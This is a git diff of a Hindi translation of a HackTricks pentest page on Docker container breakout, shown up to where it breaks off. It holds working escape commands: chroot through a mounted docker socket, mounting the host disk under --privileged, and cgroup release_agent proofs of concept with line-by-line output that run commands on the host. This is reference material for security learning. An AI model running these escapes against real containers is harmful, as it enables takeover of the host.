diff --git a/linux-unix/privilege-escalation/docker-breakout.md b/linux-unix/privilege-escalation/docker-breakout.md index 5b67c12d1..958f409ec 100644 --- a/linux-unix/privilege-escalation/docker-breakout.md +++ b/linux-unix/privilege-escalation/docker-breakout.md @@ -1,38 +1,36 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
-# एक कंटेनर क्या है +# कंटेनर क्या है -संक्षेप में, यह एक **अलग** **प्रक्रिया** है जिसके माध्यम से **cgroups** (प्रक्रिया द्वारा उपयोग किया जा सकने वाली चीजें, जैसे CPU और RAM) और **नेमस्पेस** (प्रक्रिया द्वारा देखा जा सकने वाली चीजें, जैसे निर्देशिकाएँ या अन्य प्रक्रियाएँ) के माध्यम से अलग होती है: +संक्षेप में, यह एक **अलग** **प्रक्रिया** है जो **cgroups** (प्रक्रिया क्या उपयोग कर सकती है, जैसे CPU और RAM) और **namespaces** (प्रक्रिया क्या देख सकती है, जैसे डायरेक्टरीज या अन्य प्रक्रियाएं) के माध्यम से: ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` -# माउंट किए गए डॉकर सॉकेट +# माउंटेड डॉकर सॉकेट -यदि आप किसी तरह से पाएं कि **डॉकर सॉकेट माउंट किया गया है** डॉकर कंटेनर के अंदर, तो आप इससे बाहर निकल सकेंगे।\ -यह आमतौर पर डॉकर कंटेनर में होता है जो किसी कारणवश डॉकर डेमन से कनेक्ट होने की आवश्यकता होती है ताकि कार्रवाई कर सकें। +यदि आपको किसी तरह पता चलता है कि **डॉकर सॉकेट माउंटेड** है डॉकर कंटेनर के अंदर, तो आप उससे बाहर निकल पाएंगे।\ +यह आमतौर पर उन डॉकर कंटेनरों में होता है जिन्हें किसी कारण से डॉकर डेमॉन से जुड़ने की आवश्यकता होती है क्रियाएं करने के लिए। ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` -इस मामले में आप सामान्य डॉकर कमांड का उपयोग करके डॉकर डीमन के साथ संवाद कर सकते हैं: +इस मामले में आप डॉकर डेमन से संवाद करने के लिए सामान्य डॉकर कमांड्स का उपयोग कर सकते हैं: ```bash #List images to use one docker images @@ -40,41 +38,41 @@ docker images docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash ``` {% hint style="info" %} -यदि **डॉकर सॉकेट अप्रत्याशित स्थान में है** तो आप इसके साथ अभी भी संवाद कर सकते हैं उपयोग करके **`docker`** कमांड का प्रयोग करके **`-H unix:///path/to/docker.sock`** पैरामीटर के साथ +यदि **docker socket अप्रत्याशित स्थान पर है**, तो आप इससे संवाद कर सकते हैं **`docker`** कमांड का उपयोग करके पैरामीटर **`-H unix:///path/to/docker.sock`** के साथ। {% endhint %} -# कंटेनर क्षमताएं +# कंटेनर क्षमताएँ -आपको कंटेनर की क्षमताओं की जांच करनी चाहिए, यदि इसमें निम्नलिखित में से कोई भी होती है, तो आप इससे बचने के लिए सक्षम हो सकते हैं: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`** +आपको कंटेनर की क्षमताओं की जाँच करनी चाहिए, यदि इसमें निम्नलिखित में से कोई भी है, तो आप इससे बच सकते हैं: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`** -आप वर्तमान में कंटेनर की क्षमताओं की जांच कर सकते हैं: +आप वर्तमान कंटेनर क्षमताओं की जाँच इस प्रकार कर सकते हैं: ```bash capsh --print ``` -इस पृष्ठ पर आप **लिनक्स क्षमताओं के बारे में और उन्हें दुरुपयोग करने के बारे में और अधिक जान सकते हैं**: +निम्नलिखित पृष्ठ पर आप **लिनक्स क्षमताओं के बारे में और अधिक जान सकते हैं** और उनका दुरुपयोग कैसे करें: {% content-ref url="linux-capabilities.md" %} [linux-capabilities.md](linux-capabilities.md) {% endcontent-ref %} -# `--privileged` फ़्लैग +# `--privileged` फ्लैग ---privileged फ़्लैग कंटेनर को होस्ट उपकरणों तक पहुँच देने की अनुमति देता है। +--privileged फ्लैग कंटेनर को होस्ट डिवाइसेस तक पहुँच प्रदान करता है। -## मैं रूट के मालिक हूँ +## मैं रूट का मालिक हूँ -अच्छी तरह से कॉन्फ़िगर किए गए डॉकर कंटेनर्स **fdisk -l** जैसे कमांड की अनुमति नहीं देंगे। हालांकि, गलत रूप से कॉन्फ़िगर किए गए डॉकर कमांड में --privileged फ़्लैग निर्दिष्ट होने पर, होस्ट ड्राइव देखने की अनुमति प्राप्त की जा सकती है। +अच्छी तरह से कॉन्फ़िगर किए गए डॉकर कंटेनर **fdisk -l** जैसे कमांड की अनुमति नहीं देंगे। हालांकि, गलत कॉन्फ़िगर किए गए डॉकर कमांड में जहाँ --privileged फ्लैग निर्दिष्ट है, होस्ट ड्राइव को देखने के लिए विशेषाधिकार प्राप्त करना संभव है। ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -इसलिए, होस्ट मशीन पर काबिज़ होना बहुत आसान है: +तो होस्ट मशीन पर कब्जा करने के लिए, यह सरल है: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` -और वहां! अब आप होस्ट की फ़ाइल सिस्टम तक पहुंच सकते हैं क्योंकि यह `/mnt/hola` फ़ोल्डर में माउंट हो गया है। +और लीजिये! अब आप होस्ट की फाइल सिस्टम तक पहुँच सकते हैं क्योंकि यह `/mnt/hola` फोल्डर में माउंट किया गया है। -{% code title="प्राथमिक PoC" %} +{% code title="Initial PoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -88,7 +86,9 @@ echo "#!/bin/sh $1 >$t/o" >/c; chmod +x /c; sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -{% code title="दूसरा प्रमाण" %} +{% endcode %} + +{% code title="दूसरा PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -116,34 +116,34 @@ head /output ``` {% endcode %} -`--privileged` फ्लैग में बड़ी सुरक्षा समस्याओं को पेश करता है, और इस उत्पादन का उपयोग करने के लिए एक डॉकर कंटेनर शुरू करने की आवश्यकता होती है। इस फ्लैग का उपयोग करते समय, कंटेनरों को सभी उपकरणों का पूर्ण पहुंच होता है और उन्हें seccomp, AppArmor और Linux capabilities की प्रतिबंधन से वंचित कर दिया जाता है। +`--privileged` झंडा महत्वपूर्ण सुरक्षा चिंताओं को पेश करता है, और यह शोषण इसे सक्षम करके एक डॉकर कंटेनर लॉन्च करने पर निर्भर करता है। इस झंडे का उपयोग करते समय, कंटेनर्स को सभी उपकरणों तक पूर्ण पहुंच होती है और seccomp, AppArmor, और Linux क्षमताओं से प्रतिबंध नहीं होते हैं। -वास्तव में, `--privileged` इस तरीके के माध्यम से डॉकर कंटेनर से बाहर निकलने के लिए आवश्यक से अधिक अनुमतियां प्रदान करता है। वास्तव में, "केवल" आवश्यकताएं हैं: +वास्तव में, `--privileged` इस विधि के माध्यम से एक डॉकर कंटेनर से बचने के लिए आवश्यक से कहीं अधिक अनुमतियां प्रदान करता है। वास्तविकता में, "केवल" आवश्यकताएं हैं: -1. हमें कंटेनर के अंदर रूट के रूप में चल रहे होना चाहिए -2. कंटेनर को `SYS_ADMIN` Linux capability के साथ चलाया जाना चाहिए -3. कंटेनर को AppArmor प्रोफ़ाइल की कमी होनी चाहिए, या फिर `mount` syscall की अनुमति देनी चाहिए -4. cgroup v1 वर्चुअल फ़ाइलसिस्टम को कंटेनर के अंदर read-write माउंट किया जाना चाहिए +1. हमें कंटेनर के अंदर रूट के रूप में चलना चाहिए +2. कंटेनर को `SYS_ADMIN` Linux क्षमता के साथ चलाया जाना चाहिए +3. कंटेनर में AppArmor प्रोफाइल की कमी होनी चाहिए, या अन्यथा `mount` सिस्टम कॉल की अनुमति होनी चाहिए +4. कंटेनर के अंदर cgroup v1 वर्चुअल फाइल सिस्टम को पढ़ने-लिखने के लिए माउंट किया जाना चाहिए -`SYS_ADMIN` capability कंटेनर को माउंट syscall करने की अनुमति देती है (देखें [man 7 capabilities](https://linux.die.net/man/7/capabilities))। [डॉकर डिफ़ॉल्ट रूप से सीमित संख्या की capabilities के साथ कंटेनर शुरू करता है](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) और `SYS_ADMIN` capability को सक्षम नहीं करता है क्योंकि इसके सुरक्षा जोखिमों के कारण। +`SYS_ADMIN` क्षमता एक कंटेनर को माउंट सिस्टम कॉल करने की अनुमति देती है (देखें [man 7 capabilities](https://linux.die.net/man/7/capabilities))। [डॉकर मानक क्षमताओं के साथ कंटेनर्स को शुरू करता है](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) और `SYS_ADMIN` क्षमता को सक्षम नहीं करता है क्योंकि ऐसा करने के सुरक्षा जोखिम होते हैं। -इसके अलावा, डॉकर [डिफ़ॉल्ट रूप से `docker-default` AppArmor पॉलिसी के साथ कंटेनर शुरू करता है](https://docs.docker.com/engine/security/apparmor/#understand-the-policies), जो [mount syscall का उपयोग करने से रोकता है](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) जबकि कंटेनर `SYS_ADMIN` के साथ चलाया जाता है। +इसके अलावा, डॉकर मानक रूप से `docker-default` AppArmor पॉलिसी के साथ कंटेनर्स को शुरू करता है, जो [माउंट सिस्टम कॉल के उपयोग को रोकता है](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) यहां तक कि जब कंटेनर `SYS_ADMIN` के साथ चलाया जाता है। -यदि कंटेनर निम्नलिखित फ्लैग के साथ चलाया जाता है, तो यह तकनीक के प्रति संक्रमित हो सकता है: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` +यदि कंटेनर को `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` झंडे के साथ चलाया जाता है तो वह इस तकनीक के लिए संवेदनशील होगा। -## प्रूफ ऑफ कॉन्सेप्ट को विचारशील बनाना +## प्रमाण संकल्पना को विभाजित करना -अब जब हमें इस तकनीक का उपयोग करने की आवश्यकताएं समझ में आ गई हैं और हमने प्रूफ ऑफ कॉन्सेप्ट उत्पादन को संशोधित किया है, चलिए इसे लाइन-बाइ-लाइन विश्लेषण करके देखें कि यह कैसे काम करता है। +अब जब हम इस तकनीक का उपयोग करने के लिए आवश्यकताओं को समझते हैं और प्रमाण संकल्पना शोषण को परिष्कृत कर चुके हैं, आइए हम इसे लाइन-दर-लाइन चलकर देखें कि यह कैसे काम करता है। -इस उत्पादन को ट्रिगर करने के लिए हमें एक cgroup की आवश्यकता होती है जहां हम `release_agent` फ़ाइल बना सकते हैं और सभी प्रक्रियाओं को मारकर `release_agent` आह्वान कर सकते हैं। इसे करने का सबसे आसान तरीका एक cgroup नियंत्रक माउंट करना है और एक बच्चा cgroup बनाना है। +इस शोषण को ट्रिगर करने के लिए हमें एक cgroup की आवश्यकता है जहां हम एक `release_agent` फाइल बना सकें और cgroup में सभी प्रक्रियाओं को मारकर `release_agent` आह्वान को ट्रिगर कर सकें। ऐसा करने का सबसे आसान तरीका है cgroup कंट्रोलर को माउंट करना और एक बाल cgroup बनाना। -इसके लिए, हम एक `/tmp/cgrp` निर्देशिका बनाते हैं, [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup नियंत्रक माउंट करते हैं और एक बच्चा cgroup बनाते हैं (इस उदाहरण के लिए "x" नामित)। हालांकि हर cgroup नियंत्रक का परीक्षण नहीं किया गया है, यह तकनीक अधिकांश cgroup नियंत्रकों के साथ काम करनी चाहिए। +इसके लिए, हम एक `/tmp/cgrp` निर्देशिका बनाते हैं, [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup कंट्रोलर को माउंट करते हैं और एक बाल cgroup (इस उदाहरण के लिए “x” नाम से) बनाते हैं। हालांकि हर cgroup कंट्रोलर का परीक्षण नहीं किया गया है, यह तकनीक अधिकांश cgroup कंट्रोलर्स के साथ काम करनी चाहिए। -यदि आप इसे फ़ॉलो कर रहे हैं और "mount: /tmp/cgrp: special device cgroup does not exist" मिलता है, तो इसका कारण है कि आपके सेटअप में RDMA cgroup नियंत्रक नहीं है। इसे ठीक करने के लिए `rdma` को `memory` में बदलें। हम RDMA का उपयोग कर रहे हैं क्योंकि मूल PoC केवल इसके साथ काम करने के लिए डिज़ाइन किया गया था। +यदि आप साथ चल रहे हैं और "mount: /tmp/cgrp: special device cgroup does not exist" प्राप्त करते हैं, तो यह इसलिए है क्योंकि आपकी सेटअप में RDMA cgroup कंट्रोलर नहीं है। इसे ठीक करने के लिए `rdma` को `memory` में बदलें। हम RDMA का उपयोग कर रहे हैं क्योंकि मूल PoC केवल इसके साथ काम करने के लिए डिज़ाइन किया गया था। -ध्यान दें कि cgroup नियंत्रक सार्वभौमिक संसाधन हैं जो विभिन्न अनुमतियों के साथ कई बार माउंट किए जा सकते हैं और एक माउंट में किए गए परिवर्तन दूसरे माउंट पर लागू होंगे। +ध्यान दें कि cgroup कंट्रोलर्स वैश्विक संसाधन हैं जिन्हें विभिन्न अनुमतियों के साथ कई बार माउंट किया जा सकता है और एक माउंट में किए गए परिवर्तन दूसरे माउंट पर लागू होंगे। -हम नीचे "x" बच्चा cgroup के निर्माण और उसकी निर्देशिका सूची देख सकते हैं। +नीचे हम “x” बाल cgroup निर्माण और इसकी निर्देशिका सूची देख सकते हैं। ``` root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x root@b11cf9eab4fd:/# ls /tmp/cgrp/ @@ -151,22 +151,22 @@ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release re root@b11cf9eab4fd:/# ls /tmp/cgrp/x cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks ``` -अगले, हम "x" सीग्रुप के रिलीज़ होने पर सीग्रुप सूचनाएं सक्षम करते हैं, इसके लिए हम उसके `notify_on_release` फ़ाइल में 1 लिखकर करते हैं। हम भी RDMA सीग्रुप रिलीज़ एजेंट को सेट करते हैं ताकि वह `/cmd` स्क्रिप्ट को निष्पादित कर सके - जिसे हम बाद में कंटेनर में बनाएंगे - होस्ट पर `release_agent` फ़ाइल में होस्ट पर `/cmd` स्क्रिप्ट पथ लिखकर। इसे करने के लिए, हम कंटेनर के पथ को `/etc/mtab` फ़ाइल से होस्ट पर प्राप्त करेंगे। +आगे, हम "x" cgroup के रिलीज़ पर cgroup नोटिफिकेशन्स को सक्षम करते हैं उसकी `notify_on_release` फ़ाइल में 1 लिखकर। हम RDMA cgroup रिलीज़ एजेंट को भी सेट करते हैं ताकि वह `/cmd` स्क्रिप्ट को एक्जीक्यूट करे — जिसे हम बाद में कंटेनर में बनाएंगे — होस्ट पर `/cmd` स्क्रिप्ट पथ को `release_agent` फ़ाइल में लिखकर। इसे करने के लिए, हम कंटेनर का पथ होस्ट पर `/etc/mtab` फ़ाइल से प्राप्त करेंगे। -हम कंटेनर में जो फ़ाइलें जोड़ते हैं या संशोधित करते हैं, वे होस्ट पर मौजूद होती हैं, और इन्हें दोनों दुनियों से संशोधित किया जा सकता है: कंटेनर में पथ और होस्ट पर उनका पथ। +कंटेनर में हम जो फ़ाइलें जोड़ते हैं या संशोधित करते हैं, वे होस्ट पर मौजूद होती हैं, और दोनों दुनिया से उन्हें संशोधित करना संभव है: कंटेनर में उनका पथ और होस्ट पर उनका पथ। -इन कार्रवाइयों को नीचे देखा जा सकता है: +नीचे दिए गए ऑपरेशन्स को देखा जा सकता है: ``` root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` -नोट करें `/cmd` स्क्रिप्ट के पथ को, जिसे हम होस्ट पर बनाने जा रहे हैं: +ध्यान दें `/cmd` स्क्रिप्ट के पथ पर, जिसे हम होस्ट पर बनाने वाले हैं: ``` root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd ``` -अब, हम `/cmd` स्क्रिप्ट बनाते हैं जिसके द्वारा यह `ps aux` कमांड को निष्पादित करेगा और इसका आउटपुट `/output` में संग्रहीत करेगा, होस्ट पर आउटपुट फ़ाइल के पूर्ण पथ को निर्दिष्ट करके। अंत में, हम भी `/cmd` स्क्रिप्ट को प्रिंट करते हैं ताकि हम इसकी सामग्री देख सकें: +अब, हम `/cmd` स्क्रिप्ट बनाते हैं ताकि यह `ps aux` कमांड को निष्पादित करे और उसके आउटपुट को होस्ट पर आउटपुट फाइल के पूर्ण पथ को निर्दिष्ट करते हुए कंटेनर पर `/output` में सेव करे। अंत में, हम `/cmd` स्क्रिप्ट को भी प्रिंट करते हैं ताकि उसकी सामग्री देख सकें: ``` root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd @@ -175,7 +175,7 @@ root@b11cf9eab4fd:/# cat /cmd #!/bin/sh ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output ``` -अंत में, हम एक प्रक्रिया उत्पन्न करके हमला को क्रियान्वित कर सकते हैं जो "x" बाल बच्चा समूह के अंदर तत्काल खत्म हो जाती है। "/bin/sh" प्रक्रिया बनाकर और इसका पीआईडी "x" बाल बच्चा समूह निर्देशिका में `cgroup.procs` फ़ाइल में लिखकर, मेजबान पर स्क्रिप्ट `/bin/sh` के बाद निष्पादित होगी। मेजबान पर किए गए `ps aux` के आउटपुट को फिर `/output` फ़ाइल में कंटेनर के अंदर सहेजा जाता है: +अंत में, हम "x" चाइल्ड cgroup के अंदर तुरंत समाप्त होने वाली प्रक्रिया को उत्पन्न करके हमला कर सकते हैं। `/bin/sh` प्रक्रिया बनाकर और उसके PID को "x" चाइल्ड cgroup डायरेक्टरी में `cgroup.procs` फाइल में लिखकर, होस्ट पर स्क्रिप्ट `/bin/sh` के बाहर निकलने के बाद निष्पादित होगी। होस्ट पर किया गया `ps aux` का आउटपुट फिर कंटेनर के अंदर `/output` फाइल में सहेजा जाता है: ``` root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root@b11cf9eab4fd:/# head /output @@ -190,35 +190,35 @@ root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0] root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` -# `--privileged` फ्लैग v2 +# `--privileged` flag v2 -पिछले PoCs ठीक काम करते हैं जब कंटेनर को एक स्टोरेज ड्राइवर के साथ कॉन्फ़िगर किया जाता है जो माउंट पॉइंट का पूरा होस्ट पथ उजागर करता है, उदाहरण के लिए `overlayfs`, हालांकि हाल ही में मुझे कुछ कॉन्फ़िगरेशन मिली जिनमें होस्ट फ़ाइल सिस्टम माउंट पॉइंट स्पष्ट रूप से उजागर नहीं होता था। +पिछले PoCs तब अच्छे से काम करते हैं जब कंटेनर को एक storage-driver के साथ कॉन्फ़िगर किया जाता है जो माउंट पॉइंट के पूरे होस्ट पथ को उजागर करता है, उदाहरण के लिए `overlayfs`, हालांकि हाल ही में मैं कुछ कॉन्फ़िगरेशनों से मिला जो स्पष्ट रूप से होस्ट फाइल सिस्टम माउंट पॉइंट को प्रकट नहीं करते थे। -## काटा कंटेनर्स +## Kata Containers ``` root@container:~$ head -1 /etc/mtab kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) ``` -[Kata Containers](https://katacontainers.io) डिफ़ॉल्ट रूप से `9pfs` के माध्यम से कंटेनर की रूट फ़ाइल सिस्टम को माउंट करता है। इससे कटा कंटेनर वर्चुअल मशीन में कंटेनर फ़ाइल सिस्टम के स्थान के बारे में कोई जानकारी प्रकट नहीं होती है। +[Kata Containers](https://katacontainers.io) मूल रूप से कंटेनर की रूट फाइल सिस्टम को `9pfs` के ऊपर माउंट करता है। यह Kata Containers वर्चुअल मशीन में कंटेनर फाइल सिस्टम के स्थान के बारे में कोई जानकारी प्रकट नहीं करता है। -\* कटा कंटेनर्स के बारे में अधिक जानकारी एक भविष्य के ब्लॉग पोस्ट में। +\* Kata Containers के बारे में अधिक जानकारी भविष्य के ब्लॉग पोस्ट में। -## डिवाइस मैपर +## Device Mapper ``` root@container:~$ head -1 /etc/mtab /dev/sdc / ext4 rw,relatime,stripe=384 0 0 ``` -मैंने एक लाइव पर्यावरण में इस रूट माउंट के साथ एक कंटेनर देखा, मुझे लगता है कि कंटेनर एक विशेष `devicemapper` स्टोरेज-ड्राइवर कॉन्फ़िगरेशन के साथ चल रहा था, लेकिन इस समय तक मुझे एक परीक्षण पर्यावरण में इस व्यवहार को पुनर्निर्माण करने में असमर्थता हुई है। +मैंने एक लाइव वातावरण में इस रूट माउंट के साथ एक कंटेनर देखा, मुझे विश्वास है कि कंटेनर विशेष `devicemapper` स्टोरेज-ड्राइवर कॉन्फ़िगरेशन के साथ चल रहा था, लेकिन इस समय मैं इस व्यवहार को एक परीक्षण वातावरण में दोहराने में असमर्थ रहा हूँ। ## एक वैकल्पिक PoC -स्पष्ट है कि इन मामलों में कंटेनर फ़ाइलों के पथ की पहचान करने के लिए पर्याप्त जानकारी नहीं होती है, इसलिए फेलिक्स के PoC का उपयोग नहीं किया जा सकता है। हालांकि, हम थोड़ी तर्कशक्ति के साथ इस हमले को अभी भी कार्यान्वित कर सकते हैं। +स्पष्ट रूप से इन मामलों में पर्याप्त जानकारी नहीं होती है कि होस्ट फाइल सिस्टम पर कंटेनर फाइलों का पथ पहचाना जा सके, इसलिए Felix का PoC जैसा है वैसा इस्तेमाल नहीं किया जा सकता। हालांकि, हम थोड़ी सूझबूझ के साथ इस हमले को अभी भी अंजाम दे सकते हैं। -एकमात्र जरूरी जानकारी यह है कि कंटेनर में एक फ़ाइल को कंटेनर होस्ट के संबंध में पूरा पथ, संबंधित होने के लिए चाहिए। कंटेनर के भीतर माउंट पॉइंट्स से इसे पहचानने के बजाय हमें अन्य कहीं देखना होगा। +आवश्यक एक मुख्य जानकारी यह है कि कंटेनर होस्ट के सापेक्ष पूर्ण पथ, एक फाइल का जिसे कंटेनर के भीतर निष्पादित करना है। कंटेनर के भीतर माउंट पॉइंट्स से इसे समझने में असमर्थ होने के कारण हमें और जगह देखना होगा। -### Proc की मदद +### Proc से मदद -लिनक्स `/proc` प्सेडो-फ़ाइलसिस्टम सिस्टम पर चल रहे सभी प्रक्रियाओं के लिए कर्नल प्रक्रिया डेटा संरचनाएँ प्रकट करता है, जिनमें से कुछ एक कंटेनर के भीतर उदाहरण के रूप में अलग नेमस्पेस में चल रहे होते हैं। इसे कंटेनर में एक कमांड चलाकर और होस्ट पर प्रक्रिया के `/proc` निर्देशिका तक पहुँचकर दिखाया जा सकता है:Container +लिनक्स `/proc` प्स्यूडो-फाइलसिस्टम एक सिस्टम पर चल रहे सभी प्रोसेस के कर्नेल प्रोसेस डेटा संरचनाओं को उजागर करता है, जिनमें विभिन्न नेमस्पेस में चल रहे प्रोसेस भी शामिल हैं, उदाहरण के लिए एक कंटेनर के भीतर। इसे एक कंटेनर में एक कमांड चलाकर और होस्ट पर प्रोसेस की `/proc` डायरेक्टरी तक पहुँचकर दिखाया जा सकता है:Container ```bash root@container:~$ sleep 100 ``` @@ -242,15 +242,15 @@ lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> / -rw-r--r-- 1 root root 0 Nov 19 10:29 sched ... ``` -_एक बात कहूं, `/proc//root` डेटा संरचना एक ऐसी थी जिसने मुझे बहुत समय तक भ्रमित किया, मैं कभी समझ नहीं सका कि `/` के लिए एक प्रतीकी लिंक होना कितना उपयोगी हो सकता है, जब तक मैंने मैन पेज में वास्तविक परिभाषण को पढ़ा नहीं:_ +_एक तरफ, `/proc//root` डेटा संरचना एक ऐसी चीज है जिसने मुझे बहुत लंबे समय तक भ्रमित किया, मैं कभी नहीं समझ पाया कि `/` के लिए एक प्रतीकात्मक लिंक होना क्यों उपयोगी था, जब तक कि मैंने मैन पेजेस में वास्तविक परिभाषा नहीं पढ़ी:_ > /proc/\[pid]/root > -> UNIX और Linux में प्रतिप्रोसेस फ़ाइलसिस्टम की एक प्रति को समर्थन किया जाता है, जिसे chroot(2) सिस्टम कॉल द्वारा सेट किया जाता है। यह फ़ाइल एक प्रतीकी लिंक है जो प्रक्रिया के रूट निर्देशिका को पॉइंट करता है, और exe और fd/\* की तरह व्यवहार करता है। +> UNIX और Linux फाइलसिस्टम के प्रति-प्रक्रिया रूट के विचार का समर्थन करते हैं, जिसे chroot(2) सिस्टम कॉल द्वारा सेट किया जाता है। यह फाइल एक प्रतीकात्मक लिंक है जो प्रक्रिया के रूट डायरेक्टरी की ओर इशारा करता है, और exe और fd/\* के समान तरीके से व्यवहार करता है। > -> हालांकि ध्यान दें कि यह फ़ाइल केवल एक प्रतीकी लिंक नहीं है। यह प्रक्रिया खुद की तरह फ़ाइलसिस्टम का एक समान दृश्य प्रदान करता है (नेमस्पेस और प्रति-प्रक्रिया माउंट की सेट सहित)। +> हालांकि, ध्यान दें कि यह फाइल केवल एक प्रतीकात्मक लिंक नहीं है। यह फाइलसिस्टम का वही दृश्य प्रदान करती है (सहित namespaces और प्रति-प्रक्रिया माउंट्स का सेट) जैसा कि प्रक्रिया स्वयं। -`/proc//root` प्रतीकी लिंक को कंटेनर में किसी भी फ़ाइल के लिए होस्ट संबंधित पथ के रूप में उपयोग किया जा सकता है:Container +`/proc//root` प्रतीकात्मक लिंक का उपयोग किसी भी फाइल के लिए होस्ट सापेक्ष पथ के रूप में किया जा सकता है जो कि एक कंटेनर के भीतर है:Container ```bash root@container:~$ echo findme > /findme root@container:~$ sleep 100 @@ -260,52 +260,16 @@ root@container:~$ sleep 100 root@host:~$ cat /proc/`pidof sleep`/root/findme findme ``` -यह आक्रमण के लिए आवश्यकता को बदलता है, जो कंटेनर में एक फ़ाइल के पूर्ण पथ को, कंटेनर होस्ट के संबंध में जानने की आवश्यकता से, किसी भी प्रक्रिया के pid को जानने की आवश्यकता को बदलता है। +इससे हमले के लिए आवश्यकता बदल जाती है, जिसमें कंटेनर होस्ट के सापेक्ष कंटेनर के भीतर एक फाइल के पूर्ण पथ को जानने से लेकर कंटेनर में चल रही _किसी भी_ प्रक्रिया के pid को जानने तक की जानकारी होती है। ### Pid Bashing -यह वास्तव में आसान है, लिनक्स में प्रक्रिया आईडी संख्यात्मक होते हैं और लगातार आईडी आवंटित की जाती है। `init` प्रक्रिया को प्रक्रिया आईडी `1` के रूप में आवंटित किया जाता है और सभी आगामी प्रक्रियाओं को आवंटित आईडी दी जाती है। कंटेनर में एक प्रक्रिया के अंदर होस्ट प्रक्रिया आईडी की पहचान करने के लिए, एक ब्रूट फ़ोर्स 